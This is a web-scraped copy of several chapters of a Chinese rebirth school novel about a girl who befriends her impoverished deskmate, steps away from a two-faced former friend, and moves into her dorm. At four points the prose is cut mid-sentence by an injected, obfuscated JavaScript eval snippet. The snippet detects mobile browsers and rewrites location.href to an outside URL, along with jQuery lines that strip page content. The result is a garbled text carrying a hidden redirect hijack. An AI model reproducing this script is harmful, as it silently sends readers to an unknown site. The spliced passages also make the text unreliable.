顾宁越边吃粉边点头:“妈,我住校以后就不用赵姨早晚接送了,我去跟崔屿茉说以后不接送吗?” “不。”顾巍看向她,正色,“这件事我来处理就好。” 顾宁越喝一口汤,放下碗筷,认真地倾听:“妈妈,那你打算怎么做呢?” 顾巍把剥好的柚子端到顾宁越面前,慢条斯理地说:“虽说是赵姨接送茉茉,但崔叔叔工作上经常帮我,所以这不是我们给别人提供了好处,是礼尚往来,关系的维护。现下我们这边出了变化,理应在保持原样的基础下向对方提供选择,把主动权交到对方手里,表示我们的尊重,让对方有面子,大家面上都过得去。” 顾宁越深深地闻了一下清香四溢的柚子,对顾巍道:“我明白了,继续让赵姨接送崔屿茉,崔叔叔是骄傲又爱面子的人,我都不坐车了,让我家的车单独接送他的女儿,他肯定会谢绝,一来他怕外人嘲笑他占便宜,二来他自家有车不能丢了面。但我们不能主动提出问题,要把主动权给崔叔叔让他做选择,对吗?” 顾巍欣然:“大概是这么个意思。” “咦?”顾巍惊讶地说,“越越,你以前最不爱听这些弯弯绕绕的道理,你觉得虚伪,矫情,怎么今天你突然愿意听,还能理解我的想法了?” 顾宁越笑眯眯地喂给顾巍一块柚子肉:“因为我妈妈很聪明,我喜欢听妈妈讲道理。” 上辈子顾宁越就是一味地推崇爽快,讲义气,盲目地相信自己的错误判断,交了一群酒肉朋友,被崔屿茉耍得团团转,这辈子顾宁越自然要提高警惕,多几个心眼。 顾巍被女儿逗得开怀大笑:“哎哟,真是的,什么时候这么会哄人了,嘴巴跟抹了蜜似的。” “嗯,我吃了妈妈给我剥的甜柚子~” 母女俩聊得很高兴,有说有笑。 “今天充饭卡花了多少?零花钱够不够?这个星期先给你一千块,要买什么跟妈妈说。” “够了,我用不了这么多。” “给你就是你的了,随便你怎么安排。” “谢谢妈妈。妈,我跟你说,我们食堂的酸菜肉片汤蛮好吃……” 灯光明亮的餐厅里回响着笑声。 窗外,高悬的月牙像微笑的嘴角。 * 顾宁越的课桌抽屉里多了一瓶老干妈。 上午第四节课下课,顾宁越拿出老干妈叫苏晴眉:“中午我们一起吃饭。” 苏晴眉把下节课要上的生物书摆到课桌左上角,视线落到顾宁越手里的辣酱上:“你要吃食堂?” 顾宁越和崔屿茉每天一起去教师公寓吃饭是全班都知道的。 但现在不一样了,大家都在传顾宁越跟崔屿茉彻底翻脸,连饭都不一起吃,顾宁越为了让崔屿茉先服软,故意和崔屿茉不喜欢的黑妹坐一块气她。 顾宁越回道:“嗯,我已经在食堂吃过几次了。” “那……”苏晴眉表情认真,一看就是把抢饭看作头等大事的学生,“你等会下课要跑快点,好吃的菜去晚了就没了。” “好。要是我跑慢了你不用等我,我打好饭去找你。你一般坐哪里?” “靠楼梯口的柱子。” 顾宁越无意间抬头,发现远处的崔屿茉正在看她,崔屿茉注意到她的目光,立即转过头,装作若无其事地和同学聊天。 顾宁越嗤笑一声,看什么看,她愿意跟谁吃饭关崔屿茉啥事。 食堂的大锅饭每天就像开盲盒,可能有土豆烧排骨这样的尖货,也可能全是找不到肉的小炒肉和混满姜丝的炒土豆丝,顾宁越带着辣酱,额外买些烤肠鸡排或者面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988989|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛奶,胡乱往胃里一塞总能填饱肚子。 吃过饭,顾宁越跟苏晴眉回教室午休,她问苏晴眉:“你中午不回寝室休息吗?” 苏晴眉的眼里藏起一丝躲闪,她下意识低头:“中午时间不多,我就在教室写作业,趴桌上睡一会。” “这倒是。” 顾宁越顺口问道:“你住哪个寝室?” 苏晴眉翻开数学书写作业:“305。” “还有哪些人?” “钱丽,曹慧,我们寝室只有三个人。曹慧不住校,只在寝室午休。” 实验中学的寝室是按学号顺序分的,也是高一上期的分班考试排名,苏晴眉上学期转校过来,学号在最后,排在她前一位的是原本五班垫底的钱丽。因为是排序末尾的寝室,学校就把只午休不住校的曹慧也安排进了305,另外本来还有一个降级生,可是她临时转学了,所以刚好有一个空位。 顾宁越明白苏晴眉不回寝室午休的原因了,曹慧是班里叫黑妹最起劲的人,能在寝室里和苏晴眉和睦相处就有鬼了。 顾宁越说:“你寝室还有一个空位?” 苏晴眉:“对。” “噢……”顾宁越弯起唇角笑了笑,这是她今天听到的最好的消息。 下午三节课结束后是班会时间,老郑简单讲了几分钟就去了办公室,让组织委员主持班会。 宣传委员在黑板上写好班会主题,崔屿茉走上讲台和她打招呼:“谢谢。” “请大家安静,下面班会正式开始。”崔屿茉拿出讲桌里的话筒,连上蓝牙,“今天我们的班会主题是‘迎接中秋节’。” 崔屿茉是班里的组织会员,温柔开朗,处处会为人着想,大家都很配合她组织活动,好像有谁不参与就是不合群一样,连赶作业的同学都要抬起头为她捧场。除了顾宁越和她前面趴在桌上睡觉的庄晓。 崔屿茉嫣然含笑,嗓音甜美:“还有几天就到中秋节了,刚好和教师节临近,大家有什么庆祝节日的想法请踊跃发言,在这里我先提出一个建议,我们用班费给各科老师送月饼和教师节礼物。” 台下积极地回应:“好,这很合适。” “茉茉你的提议就是最好的~” “我没啥想法,就这样吧。” 崔屿茉看看记账本,说:“但是,我们的班费上学期差不多用完了,我和张瑜商量以后跟老郑提了申请,每个人交三十元的班费,最迟周四中午以前交到张瑜那。” 苏晴眉听后忧心忡忡地蹙眉,双手藏到桌下揉捏衣摆。 顾宁越看出她的窘态,猜测她可能缺钱,刚想告诉她别担心,忽然听到前排的曹慧大声说:“我有个建议!以前茉茉组织活动不都是顾宁越请客吗?众所周知顾宁越特别大方,这次不如也由顾大小姐买单吧?” 顾宁越声如洪钟:“我建议你不要建议。” 教室里哄堂大笑,曹慧再一次胀红了脸,她羞恼地向崔屿茉投去求助的眼神,崔屿茉对她摇摇头,示意她坐下别再说话。 众人好奇地看向教室末排,顾宁越在聚焦的视线中走到生活委员张瑜面前,拿出一张粉红色大钞: “交班费,苏晴眉,和我的。” 9. 第 9 章 一场哄闹在顾宁越交完班费后结束了。 在同学心里,顾宁越花钱向来大手大脚,别说帮一个人交班费,之前就是请全班看电影的事都做过,只不过这次她居然不给崔屿茉撑面子,而是偏向黑妹,这成为了大家消遣的谈资。 崔屿茉坐在讲台上主持纪律,她目含笑意,望了眼坐在角落的苏晴眉,微不可察地扯了下嘴角。 陆陆续续有人到张瑜那交班费。 顾宁越拿着张瑜找的钱走回座位,苏晴眉环顾四周,小声地对她说:“谢谢你帮我交班费,但是我可能下个月才能还你,可以吗?” 顾宁越怎么可能要她还,且不说上辈子欠她的恩情,光是欠她的医药费都还不清,可是现在顾宁越不能说“不用还”这种像是施舍的话。 “好,没问题。”顾宁越回答。 苏晴眉对她笑了笑,难得露出了放松的神情,顾宁越无疑帮她解决了一个大难题。 接下来几天顾宁越上下学都没和崔屿茉一起坐车,顾巍给她安排了一个新司机,顾宁越坚持自己赶公交车,顾巍不放心她的安全,母女俩经过沟通后达成一致,在住校之前,顾宁越早上赶公交,晚上司机接她回家。 星期五,高二上期的第一次周测成绩下来了。 教室里人声嘈杂,大家都在讨论排名和试题。 “顾宁越,你的。”前桌的庄晓打着哈欠回头,传下来一张卷子。 “你经常熬夜?每天看你不是打哈欠就是见缝插针地睡觉。” “没,我就是困。” 顾宁越接过来,看着数学卷子上鲜红的分数皱眉。 刚过及格线的水平,比顾宁越估算的分数少很多。 不应该啊,怎么会错那么多? 明明她上课的时候都听懂了,重生一次学习第二遍,怎么成绩反而不如上辈子? 有个同学找学委拿了排名表看,说话声音比较大:“我去,第九名苏晴眉,黑妹居然排在我前面,我真服了。” 顾宁越大声叫他:“考不过人家该你服,表给我看看。” 同学不爽地把排名表给她:“拿去。” 顾宁越在表格靠后的位置找到自己的名字,表情疑惑,她承认有些知识没掌握熟练,但也不至于全线溃败吧。 不出意外,大课间老郑找顾宁越谈话了。 “你这次除了英语,其它科成绩下滑特别厉害,你要把各科卷子都好好地分析原因,很多送分题都丢了。别的科我不谈,单说语文,这几个选项里的文言文很多高一的知识点,你怎么会选错呢?” “我不记得了。”顾宁越没办法在一个星期内把高一甚至初中全部的文言文知识复习一遍。 “通假字的用法必须得记住,这都是很基础的。” “我知道了。” 老郑叹气:“来,我把你错的题讲一遍。先看这道,划线词语体现了作者的什么情感……” 顾宁越一上午都没什么精神。 苏晴眉因为名次进步被好几个老师夸奖,本来开开心心的,但她发现顾宁越心情不好以后立马也失去了兴致。 午休时顾宁越趴在桌上发呆,忽然手背被碰了碰,她转头看,苏晴眉把草稿本递过来,本子的一角戳到了她的手。 草稿本上写了一行字:你的英文写得很漂亮。 顾宁越灰蒙蒙的心里漏下一缕亮光。 是啊,她现在最拿得出手的科目就是英语。她上辈子做生意每天都要和外商打交道,一口流利的外语是基本要求。 顾宁越明白苏晴眉是在夸她的闪光点,想以此安慰鼓励她。 她提笔在这行字下面写道:Youaresokind. 苏晴眉把卷子放到课桌左上角,她把所有卷子都订正好了叠在一起。 “上次在小食光你帮我,也都不知道怎么谢你,今天你又帮我交班费,我也不能及时还你,对不起……我的卷子都在这,你不介意的话可以看,有什么问题都可以问我。” 顾宁越扬起笑脸:“好。但是小食光那次你送了我大虾酥啊,很好吃。” “真的吗?”苏晴眉不好意思地垂下眸子,“那就好,因为不是什么好的糖,我担心你不喜欢。” “好吃的糖就是好糖。”中午日头正好,窗外的阳光照在顾宁越的笑脸上,“那我看看你的卷子再订正,谢谢你晴眉。” “嗯!” 周五放周末不上晚自习,顾宁越告诉新司机放学不用来接她。 下午五点半放学,苏晴眉说她五点四十五到小食光打上班卡,顾宁越跟她一起走到宿舍楼,在楼下等她,打算跟她一块去小食光,吃了晚饭在那看会书再回家。 苏晴眉刚上楼不久,顾宁越就收到顾巍打来的电话:“越越,放学了吗?” 顾宁越站在宿舍大楼的后面,望着门口进进出出的人:“刚放,妈你回家了吗?” “我还没有下班。你到东校门等一会,我叫司机来接你,崔叔叔一家请我们吃饭,七点在芙蓉楼,你先来我办公室。” “……” 顾宁越有点烦躁,她不想去,而且这顿饭打断了她放学后的计划。 她知道就算自己拒绝,顾巍也不会强迫她去,但她更不会让母亲为难。 “好的,妈妈,我马上过去。” “行,我办公室有茶点,你也可以先买点小吃,万一席上的菜你不爱吃呢,别饿着了。” “知道啦,妈你先忙,拜拜。” 顾宁越静下心琢磨崔家请这顿饭的用意,百分百是为了崔屿茉,母父两个为受委屈的女儿讨说法,她得提前准备好应对之策。 “顾宁越,我们走吧。你在想什么呢?” 苏晴眉从宿舍门出来,找了一圈才发现顾宁越绕到了后面。 顾宁越看向她,苏晴眉换了外套下来,从衣兜里拿出什么小东西摊开手:“给你,全部都在这了。” 一颗大虾酥,一颗橘子瓣软糖。 苏晴眉所有的糖都在这了,顾宁越怎么忍心拿走它们。 不过转念一想,有拿就有还,这不就又有给苏晴眉送礼物的机会了么。 于是顾宁越欣喜地收下了两颗糖:“好,谢谢啦,橘子味的我也喜欢。” 苏晴眉把碎发别到耳后,笑起来眼睛亮亮的,像湖面起风时粼粼的波光。 顾宁越给她看手机里的通话记录:“晴眉,刚才我妈打电话叫我去她那,抱歉不能跟你去小食光了。” “哦!那你快去吧。” “你路上小心,如果再遇到刁钻的顾客一定叫陶姐帮忙,我先走了,再见。” 顾宁越没买小吃,吃了苏晴眉的两颗糖。 顾巍六点下班,带顾宁越在光悦中心买了点礼品再去赴宴。 芙蓉楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988990|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是桐溪市最富盛名的百年酒楼,相传其创始人曾经是御厨,招牌菜鲜椒江团是桐溪一绝。 包间临近河边,透过落地窗就能看见奔流的河水和茂盛的树林。 顾巍和顾宁越刚进包间,一个身着深灰西装的男人起身相迎:“顾总和宁越来了,快请坐。” 崔博仁把她们引到主宾和副宾的座位,一旁妆容精致的女性轻推女儿:“茉茉,越越和顾阿姨来了。” 崔屿茉挂上甜甜的笑容,连忙提过来两只礼盒:“顾阿姨好,这是我跟非遗师傅学习,亲手给您和阿越绣的方巾,希望你们能够喜欢。” “刺绣呀?哎呀真是不得了,茉茉太厉害了。谢谢你茉茉,我超级喜欢。” 说着,顾巍接过去礼盒,让顾宁越把礼物送给崔屿茉。 顾宁越礼貌地跟崔家人问好,坐下就吃桌上的开胃小菜。 崔博仁见了忙道:“宁越饿了吧,我赶紧叫服务员上菜。” 顾巍笑着对崔屿茉说:“茉茉也饿了吧?” 崔屿茉声线柔婉:“嗯嗯,是有一点,我们五点半就放学了。顾阿姨,我好久没跟您一起吃饭了,可期待呢。” “真好,我看见你就高兴。” 顾宁越埋头吃饭,只要不点她就不说话。 饭局吃到尾声,崔博仁终于切入正题。 他先是关心了顾宁越几句,顺其自然地提到学习生活,然后问:“宁越,我听茉茉说你这周每天都没跟她一起上下学,家里有车安全方便,你为什么赶公交呢?” 顾宁越在来之前早就想好说辞了:“崔叔叔,我住校了,才跟我妈说,手续还没办完,昨天她还批评我想一出是一出,搞得她措手不及。” “噢!原来是这样。”崔博仁当即明白她的弦外之音,点头,“住校好啊,融入集体生活,省了路上的时间早上还能多睡几分钟。” “是的。崔叔,我也不怕丢脸跟您说,我开学周测的成绩很糟糕,郑老师专门把我叫去谈话,我很闹心,这段时间心情很差总是乱发脾气,我妈已经教育过我很多次了。我总听那些返校演讲的学姐学哥说,住校有助于自律性差的学生培养好学习习惯,所以我就吸取他们的经验。” “很有上进心,很好很好,这肯定会进步啊!”崔博仁朝顾宁越竖大拇指,举起酒杯转向顾巍,“顾总,宁越这么有韧性和锐气,像你。既然这样我们不能再麻烦你们了,茉茉我们自己接送,这一年来非常感谢。” 顾巍优雅地和他干杯:“哪里的话。茉茉兰质蕙心,你们才是好福气。” 饭局结束,顾宁越跟顾巍坐车回家。 她靠在车窗,用手机玩切水果放空脑子。 顾巍看了会没精打采的女儿,柔声说:“越越,妈妈知道你累了,跟你说个好消息让你开心。” 顾宁越抬起头:“什么?” 顾巍摇一摇亮着对话框的手机:“你想去的305寝室办好了。” 轿车穿出隧道,明亮的路灯照进车窗,向着前方驶去。 * 周日下午,苏晴眉从小食光下班回寝室,她要赶晚上六点半的晚自习。 还没走到305,苏晴眉就听到寝室里有人交谈的声音。 苏晴眉蓦然睁大眼睛,快步走进去,看到原本空着的床位铺上了床品,一个挺拔的身影转过身。 顾宁越对她笑:“晴眉。” 10. 第 10 章 “晴眉你可算回来了!”钱丽看起来很激动,语速比平时都快,“下午生活老师突然把顾宁越带过来,说是我们的新室友,我都惊呆了。” 苏晴眉惊讶得一时说不出话,顾宁越突然就变成她的室友了?! 钱丽拉着苏晴眉往书桌上看,她们都有一袋零食:“顾宁越还给我们送了小礼物,有进口的薯片和威化饼干,平时我在超市里都没见过耶。” “哦……”苏晴眉不好意思接受这么贵重的礼物,不过钱丽也有,这是顾宁越给新室友的礼物,她不好直接拒绝。 苏晴眉连忙跟顾宁越说谢谢,问:“你的东西都收拾好了吗,有没有需要帮忙的?” 顾宁越抬起胳膊拍一拍铺好床单的上铺:“我都弄好了。” “饮水机在外面,卫生间的淋浴要刷卡。” 钱丽抢着说:“这些我都跟她说过了。” 苏晴眉点点头:“好。” 钱丽看看墙上的钟:“六点二十了,我们去教室吧。” “马上。”顾宁越打开书包,拿出一盒金灿灿的费列罗,递到苏晴眉跟前,“晴眉,谢谢你给我的橘子糖和大虾酥。这个我觉得蛮好吃的,给你的回礼。” 苏晴眉虽然没见过这种糖,但一看包装就很贵,她摆手:“那个没关系,我真的不用。” 顾宁越把盒子放到苏晴眉的桌上:“朋友之间本来就要多分享,你就当是我感谢你帮助我学习。” “那……好。”苏晴眉转向钱丽,“我们一起分——” 钱丽慌张地收回盯着费列罗的视线,突然背上了书包:“啊,我想起来我要搞卫生!我先去教室,你们慢慢走啊。” 顾宁越道:“几秒钟的事,刚不是说我们一起走么?” 钱丽已经走出了寝室,不知道她听没听见。 苏晴眉安静少许,放了几颗费列罗在钱丽的书桌,把盒子收进抽屉,背起书包:“我们走吧,我来锁门。顾宁越,生活老师给你钥匙了吗?” “给了。”顾宁越掏出衣兜里的钥匙扣,挂着一个阿狸吊坠。 苏晴眉指着红色的卡通小狐狸,弯起嘴角:“好可爱。” “它叫阿狸,是一个绘本里面的主角。” 顾宁越顺势要取下挂坠给她,顿住手,想起苏晴眉总是跟她谢来谢去的,便没有继续,改口说:“下周我带几本给你看。” 晴眉不会拒绝书。 果然,苏晴眉开心地应道:“好。我还没看过绘本里面是什么样子,只在书店的橱窗见过封面,用塑料膜封着。” 关灯锁门,两个人下宿舍楼。 走在楼梯上,顾宁越看到苏晴眉鞋上的污渍全部没有了,应该是用洗衣店的券洗干净了。 周日的晚自习都是住校生,教室里一半的座位是空着的。 顾宁越写完作业就挨着复习高一的内容,忘记的知识只能一点一点捡起来。 课间苏晴眉去上了趟卫生间,回来以后趴在桌上。 顾宁越问她:“怎么了?” 苏晴眉的声音发虚:“肚子有点痛。” “是不是晚上吃坏肚子了?我们去医务室看看?” 苏晴眉摇头:“我没事,过一会就好了。” 有时候确实会莫名其妙的不舒服,大多数过一阵自己就好了,顾宁越没多想,就说:“待会还是很痛的话我带你去医务室。” 所幸之后两节课苏晴眉都没什么问题,面色看起来也正常,还给顾宁越讲了一道物理题。 休息的时候顾宁越跟她聊天:“晴眉,你一般多久回家一次啊?” 苏晴眉边抄写英语单词边和她聊:“一学期,放寒暑假回去。” “那么久?” “嗯。” 苏晴眉顿了顿,神情仿佛在回忆什么:“我家在云山的山区里边,要从桐溪汽车站坐大巴到云山县,再转车到十里镇,再再转车到白蔹村。每次回家要花很多时间,还要很多车费,所以我一学期回去一次就够了。妈妈也叫我少回家,她说心疼我来回折腾。” “原来如此。” “我家以前有两只狗,很乖,每次我上学会送我到镇里的学校,有只棕色的长得有点像你钥匙扣上的那个狐狸。” “现在呢?” 苏晴眉默了默,声音小小的,无可奈何:“有一只被到我家地里偷东西的贼打死了,还有一只被村长的儿子要去斗狗了……没办法,我爸去世以后就这样。” 顾宁越深吸一口气,这个瞬间她接不住苏晴眉的情绪。 她想说点什么,但她明白这个女孩不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你的事情,怎么可以与我无关。 11. 第 11 章 顾宁越明白以目前她和苏晴眉的关系来说,对苏晴眉说这种话越界了,但是在身体健康面前,其它的算得了什么呢。 顾宁越拿出一包新的医用卫生巾,还没来得及给出去,苏晴眉就进了卫生间,传出喀哒的落锁声。 钱丽戴着发箍,抹着芦荟胶走过来,感兴趣地看顾宁越手里的包装袋:“这是什么牌子,我都没见过,很好用吗?” 顾宁越没有心情和她聊天,简单地应道:“还行。” 钱丽伸手去摸:“这叫什么?哪个超市有卖的?” 她的手上沾着水,顾宁越不想让水珠打湿包装,把卫生巾拿开:“药店里应该有卖的。” “哦,你在哪家买的?” “不知道,我妈给的。” “哦。”钱丽看顾宁越不想搭话就走了。 顾宁越到阳台洗漱,过了会,苏晴眉出了卫生间,她和顾宁越对上视线,低下头匆匆走开。 顾宁越跟到苏晴眉身边,小声说:“抱歉是我太莽撞了,我只是担心你。我看过有新闻报道这种散装的用了对身体不好,我这有更卫生的,够用,就想给你。” 苏晴眉沉默片刻,回她道:“谢谢,我知道你是好意关心我,也知道你有那个经济实力,但我……我什么都没有,还不了你。” 顾宁越不理解苏晴眉为什么有那么重的不配得感,凡事都要放到价值交换的天平上称一称,这是一个十几岁的孩子该有的心思吗?难道不能因为是她们同学,是同桌,是室友,是朋友,所以对彼此不求回报的好吗? 如若非要算得那么清楚,光是苏晴眉在她很多科目都考差后赞美她英文写得漂亮的这份善意,就足够顾宁越对她更好。 “你说你想还我。”顾宁越压低声线,向苏晴眉走近一步。 苏晴眉往后缩了缩肩膀,懵懂地望着她。 顾宁越略微低头,话音虽不大,但一字一句铿锵有力:“苏晴眉,你知道有一个勤奋刻苦品学兼优的同桌兼室友是一件多么让人骄傲,想时时刻刻拿出去炫耀的事吗?” 苏晴眉不自在地捏紧衣角,不敢出声。 顾宁越:“你觉得我在学校里随便问一个同学,可不可以给我讲一道题,他们会轻易答应吗?大家都有自己的学业要忙,帮是情分不帮是本分,学校里除了老师没有人有责任教导我学习,但你主动给我看卷子,给我讲题,给我抄笔记,你知道你帮了我多大的忙吗?你做的这些事情,在社会上算得上一对一辅导,算得上家教,是价值非超高的智力劳动,值得很高的报酬。” 从来没有一个人这样隆重地肯定过苏晴眉的做法,哪怕只是课本上教的“同学之间互相帮助”,“滴水之恩涌泉相报”,这些最基本的常识,居然在顾宁越口中都变成了值得很高报酬的“高价值”。 这些说法苏晴眉闻所未闻,顾宁越的话给她带来了全新的认知——她真的有顾宁越说的那么重要吗? 顾宁越再次把崭新的一包卫生巾放到苏晴眉手里:“一块金子,不会因为它暂时被泥土包裹就失去它的光芒,野猪吃不了它当它没用,野鸟不能拿它筑巢当它没用,但是当它剥开泥土,进入人类的世界就会被争相抢夺。苏晴眉,我不管其他人怎么看你,我就愿意有你这个善良聪明的朋友,而且你也说了我有那个经济实力,你就放心地用我给你的东西,你的存在本身就值得,不需要做任何事情来换取。” 苏晴眉握着包装袋没有说话,眼里弥漫雾气,紧紧抿唇。 她没有拒绝顾宁越这一次的好意,握紧手里的东西,良久,带着浓浓的鼻音说了声对不起。 “顾宁越,我第一次听到这样的事,你说的话像会发光,可不知道为什么我有点害怕。” “你在小食光面对胡搅蛮缠的恶人时很勇敢,你真的很优秀,晴眉。” 苏晴眉吸了吸鼻子,扬起脸,点头:“我听懂你的意思了,我想成为那块金子。” 顾宁越露出笑容。 只要苏晴眉能肯定自我,未来能自信快乐地生活,顾宁越就由衷的高兴。 坐在上铺的钱丽往下喊:“你俩叽里呱啦说啥呢?马上熄灯了啊。” “好,知道了。”顾宁越赶紧抓住梯子爬上床。 紧接着响起熄灯铃,苏晴眉拉开一角窗帘借窗外的路灯光,等待熟悉的黑暗降临。 然而她等来的是头顶照下来的一束光。 这灯光非常明亮,顾宁越的台灯比钱丽的还要大。 苏晴眉抬头,暖白色的光线倾洒她的面庞,纤长的睫毛在脸颊上落下小巧的影子。 寝室里都关灯睡觉以后,苏晴眉蜷缩在被子里,右手攥着胸口的衣领。 她的思绪很杂乱。 一会想到刚转来这个学校时找妈妈要钱买充电台灯,妈妈说家里有电筒,买那乱七八糟的玩意干啥,浪费钱。 一会又想到妈妈在村口的小卖部偷偷摸摸地买卫生巾,叫她藏好,千万别让人看见,说这是接女人的脏东西的,见不得光。 家里有规矩,女子有污血时不能见老人,病人,不能进庙,上香。 苏晴眉记得初中的时候,有一回她例假提前,早晨醒来时床单上有一点血渍,妈妈着急地叫她洗掉,很是气恼,怨她:你咋那么埋汰? 当时她很委屈,也很困惑: 她没犯错,凭什么出现了正常的生理现象就说她埋汰? 只要她问这种问题,就会被扣上不知羞耻的帽子。 这个晚上,这顶愚昧可笑的帽子被顾宁越摘掉,撕烂。 不仅如此,顾宁越还大大方方地把女子最基本的生理需求摆到明面,大声地告诉苏晴眉:要卫生,要健康。 苏晴眉在心中一遍遍回想顾宁越对她说的话,激动的情绪在身体里澎湃,她不敢相信自己,她真的有顾宁越说的那么好吗?她真的有重要的价值吗?如果真的有,那为什么爷爷要抢走“灾后助学会”给她的文具和牛奶送给堂弟,为什么妈妈要在看到她的奖状时说要是奖学金就更好了…… ——你的存在本身就值得。 顾宁越的这句话再次在苏晴眉的内心震响,每一个字都雷霆万钧,击碎压在苏晴眉灵魂上的层层枷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988992|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁。 苏晴眉紧缩的眉头渐渐舒展,她感到前所未有的通透。 是啊,不论如何,她得先爱护自己,敬重自己,要是自暴自弃,那未来就再也不会有一盏灯光。 她要读书,她要考大学,她要走出大山,她要亲手点亮未来的灯,一路光辉。 * 手机闹钟比宿舍的起床铃来的更早。 顾宁越走读的时候定的闹钟比较早,住校了她也没改,她担心吵到室友,把闹钟调成震动,手机放在枕头下面。 不过她坐起身才知道多虑了,她的两位室友早就下了床洗漱。 钱丽在阳台刷牙,苏晴眉的动作比她更快,已经清洗好了,正对着镜子梳头发。 顾宁越翻身下梯子:“你们好早。” 苏晴眉握着一把剪刀修剪遮挡眼睛的刘海,停住手看她:“早上可以看会书。我给你带早餐?有包子,馒头,花卷,鸡蛋。还有牛肉面,不过带不走,只能在食堂吃。零食窗口有面包和牛奶。你要吃什么?” 钱丽抹着脸走进来,背对着苏晴眉:“你都不给我带早饭。” 苏晴眉有点尴尬:“你也起的早啊。” 顾宁越换好衣服:“晴眉,不用给我带,我去食堂吃面。” 苏晴眉转向她:“面条一般七点十分卖完。那我先去食堂了。” “好。” 现在六点五十五,顾宁越抓紧时间洗漱。 钱丽望着苏晴眉离开,走到顾宁越旁边:“诶,你为什么突然跟苏晴眉那么好啊?” 顾宁越抬起眼睛看她:“她是我同桌啊,你跟你同桌不好吗?” 钱丽笑了笑:“不是这个意思,我是想说,你不是和崔屿茉关系最好吗,怎么——” “对不起,没有告知的义务。我赶时间吃面,拜拜。” 顾宁越麻利地扎好头发,挎包跑向食堂。 早上食堂只开放一二楼。 顾宁越拨开食堂大门的塑料门帘,一股混合着包子和面条味的热气扑到她的脸上。 顾宁越环顾四周,望见从面条窗口排到食堂大门的壮观队伍,震惊:牛肉面这么紧俏吗! 难怪苏晴眉说卖到七点十分就没了,从这条长长的队伍来看,很可能七点五分就卖光了。 顾宁越估算了时间,八成排不上牛肉面,她找了个看起来人最少的窗口去买包子。 她从长长的面条队伍旁边走过,突然听到有人叫她的名字。 “顾宁越——顾宁越!右边!” 顾宁越转头向右看,面条队伍里有个人在招手,她个子不高,排在队伍里被前面高大的学生挡住了身形。 “晴眉?” 顾宁越跑过去,苏晴眉快排到面条窗口了,她手里捏着食品袋,一边排队一边吃热气腾腾的馒头。 “你怎么不坐着吃啊?” 苏晴眉咽下嘴里的食物,说:“今天人太多了,我怕你买不到面,先过来排着买一碗等你。” 顾宁越听得一怔,看着瘦小的她红着鼻头挤在人群里啃馒头,说在等她。 12. 第 12 章 “谢谢!” 顾宁越赶忙把饭卡拿给苏晴眉。 “你只吃一个馒头,够吗?” 苏晴眉排到了面条窗口:“我——” 食堂阿姨:“大份小份?” 苏晴眉看看向左边的人。 顾宁越忙道:“一碗大份!” 她们选了个角落的位子,顾宁越放下面碗后又去买了点东西过来。 “来,这是你的。”顾宁越递给苏晴眉一根烤肠,还有一颗煮蛋和一盒纯牛奶。 苏晴眉慌忙摆手:“我真的够吃,这些你吃吧。” “噔噔。”顾宁越提起手里的塑料袋,里面装着鸡蛋和牛奶,“我也有,我们一起吃,快吃吧。” 苏晴眉犹豫片刻,腼腆地接过烤肠和蛋奶:“好。” 每日三餐顾宁越都跟着苏晴眉一块,总会给她买点更有营养的食物吃,希望她的身体能更强壮。 同桌好些天了,顾宁越都没看见过苏晴眉的笔袋,她的桌上总是散放着文具。 顾宁越问她:“晴眉,你不用笔袋吗?” 苏晴眉从抽屉里拿出一个用宣传单折的小口袋:“我放在这个里面。” 顾宁越还没见过这种折纸方法:“你折的真好。” 苏晴眉弯弯眼睛:“我妈妈教我的。” 顾宁越心中生出疑问,苏晴眉是受公益组织的帮助到桐溪市读高中的,通常除了助学金,还会捐赠文具,比如书包,文具盒,笔之类的,也会捐赠衣物鞋袜,可是为什么苏晴眉好像都没有?难道是因为某些原因,那些爱心捐赠没能真实地发到苏晴眉家里? 怀着这个疑问,顾宁越委婉地问过本人,苏晴眉的回答很模糊,大概意思是捐赠的物品不多,能用的都用了,她妈妈独自在山里干农活很艰苦,她把妈妈能用得上的留在了家里。 苏晴眉会聊云山的风景,山中四季的风物,一些过去和村镇小伙伴发生的趣事,也会聊家里种的白菜,土豆,芎藭,养的小猪和鸡鸭,但她不会聊她的家庭,顾宁越只知道她的父亲在几年前去世了。 